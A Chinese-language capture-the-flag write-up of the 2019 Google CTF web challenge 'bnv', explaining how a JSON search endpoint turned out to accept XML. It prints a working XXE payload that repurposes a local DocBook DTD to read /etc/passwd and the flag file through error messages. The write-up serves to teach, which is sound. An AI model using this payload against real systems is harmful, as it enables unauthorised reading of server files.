大数跨境

[CTF每日一题]2019GoogleCTF-web-bnv

[CTF每日一题]2019GoogleCTF-web-bnv Linus SEO海外流量玩家
2019-07-10
1
导读:2019Google CTF的一道XXE利用题目~

前言

Google CTF 2019[1] 刚过不久,来一波复现~ 吐槽一下公众号的图片上传功能,老是失败,耽误了发文的速度,太令人抓狂了……

题目

题目地址是 https://bnv.web.ctfcompetition.com/

题目描述:

这是一个没有啥好看的 enterprise-ready™ Web应用程序。

搞!

点开链接一看,为什么这么黑……

从网页标题和中间的图片很明显是盲文,结合题目,应该是一个盲人用的网站?

网页中央是说“请使用这个搜索引擎,找一个离你最近的组织”,下拉框有三个城市可选。

先看一下搜索会发生啥吧:

点击提交后,会 POST 搜索接口一条 message,估计是盲文代码?然后返回了相应的信息。

看一下 JavaScript 是怎么写的吧:

数一数 blindvalues 数组,刚好 26 个,猜想是不是字母一一对应捏,打开 Console 验证一下:

跟 message 一模一样!

下一步,先想一想是什么攻击方式。如果该题是 SQL 注入的话,那这题只能使用纯字,并且忽略大小写,这个有点难整啊…… 使用特殊标点符号 Fuzz 脚本怼一下,好的,一点用都没有。

思来想去,搜到了一个奇妙的渗透手法:基于 Json 的 web 服务也有可能存在着 XXE 注入!试一试提交 XML:

哎嘿?似乎可行?扔一个和提交 Json 相同意义的 XML 试试?

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE message[    <!ELEMENT message ANY>]><message>135601360123502401401250</message>

哎嘿?似乎成功近在眼前了?赶紧翻 payload……

整了好久,在 Burp 官网上看到了一个比较新颖的使用本地 DTD 读取文件的方法 Exploiting XXE to retrieve data by repurposing a local DTD[2]

这个 payload 主要是利用错误信息来打印目标文件的内容,重新定义了 docbookx.dtd (一般有 Gnome 就有它)里面的 ISOamso。我们提交了这个 payload 之后,当导入本地的 DTD 文件时,会优先执行我们定义的 ISOamso,因此可以达成任意文件读取。

使用该 payload 成功读取:

<!DOCTYPE message [    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">    <!ENTITY % ISOamso '        <!ENTITY % file SYSTEM "file:///etc/passwd">        <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">        %eval;        %error;    '>    %local_dtd;]>

猜一下常见的路径 /flag,对啦✔

总结

算是一道不错的 XXE 利用题目,又学习到了新的利用方式~

References

[1] Google CTF 2019: https://capturetheflag.withgoogle.com
[2] Exploiting XXE to retrieve data by repurposing a local DTD: https://portswigger.net/web-security/xxe/blind/lab-xxe-trigger-error-message-by-repurposing-local-dtd


【声明】内容源于网络
0
0
Linus SEO海外流量玩家
1234
内容 24
粉丝 0
Linus SEO海外流量玩家 1234
总阅读0
粉丝0
内容24